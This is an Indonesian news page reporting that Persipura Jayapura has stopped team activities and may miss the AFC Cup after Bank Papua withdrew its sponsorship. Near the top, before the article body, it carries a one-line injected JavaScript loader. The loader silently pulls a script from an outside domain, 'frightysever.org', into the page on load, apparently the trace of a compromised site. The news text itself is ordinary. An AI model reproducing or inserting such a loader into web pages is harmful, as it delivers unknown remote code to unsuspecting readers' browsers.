Editor : Suara
(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAYAPURA – Persipura Jayapura terancam gagal tampil dalam Piala AFC jika tak mendapat sponsor baru setelah Bank Papua menarik diri tak lagi menjadi penyokong dana lagi bagi klub Mutiara Hitam ini.
Penarikan diri Bank Papua sebagai sponsor utama membuat ketua umum Persipura Benhur Tomi Mano terpaksa membubarkan aktivitas tim karena tak bisa lagi menanggung beban gaji pemain, pelatih, hingga ofisial.
“Kami sangat sayangkan situasi ini, padahal kita punya kesempatan untuk berlaga di AFC Cup 2021. Karena tidak mungkin kita paksakan tim berjalan tanpa membayar gaji pemain, pelatih, dan ofisial,” kata Tomi Mano dalam keterangan resminya, Kamis.
Benhur mengatakan awalnya Boaz Solossa dan kawan-kawan percaya diri menatap Piala AFC 2020 meskipuna sempat terjadi polemik akibat PSSI yang tak mengerti aturan karena Bank Papua masih memiliki sisa pembayaran kontrak sebesar Rp5 miliar.
Dana itu awalnya akan digunakan tim untuk persiapan termasuk gaji para pemain, namun direksi Bank Papua lantas menyurati manajemen Persipura bahwa mereka tak akan membayar sisa kontrak sponsorship.
Benhur menyayangkan sikap direksi Bank Papua yang mendadak memberikan kabar itu, padahal Bank Papua menyampaikan sejak awal maka klub akan mencari opsi lain dalam mencari dana untuk operasional klub.
“Dengan surat Bank Papua ini berarti kami tidak lagi punya sumber dana untuk beraktivitas, dan kita semua tahu bagaimana menurunnya ekonomi selama pandemi COVID-19, sehingga kemampuan kita secara finansial juga menurun, apalagi ada kewajiban untuk tetap membayar gaji seluruh personel tim,” kata Tomi.
Krisis finansial yang dialami ini membuat seluruh aktivitas tim dihentikan dan manajemen belum bisa memberikan garansi sampai kapan tim akan kembali dikumpulkan. Dengan begitu, Persipura menjadi klub kedua setelah Madura United yang menghentikan aktivitas.
“Sampai kapan (aktivitas tim dihentikan)? Sampai kita dapat dukungan sponsor yang jelas dan pasti,” tutup Tomi seperti dimuat Antara.
Editor : Suara
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
This website uses cookies.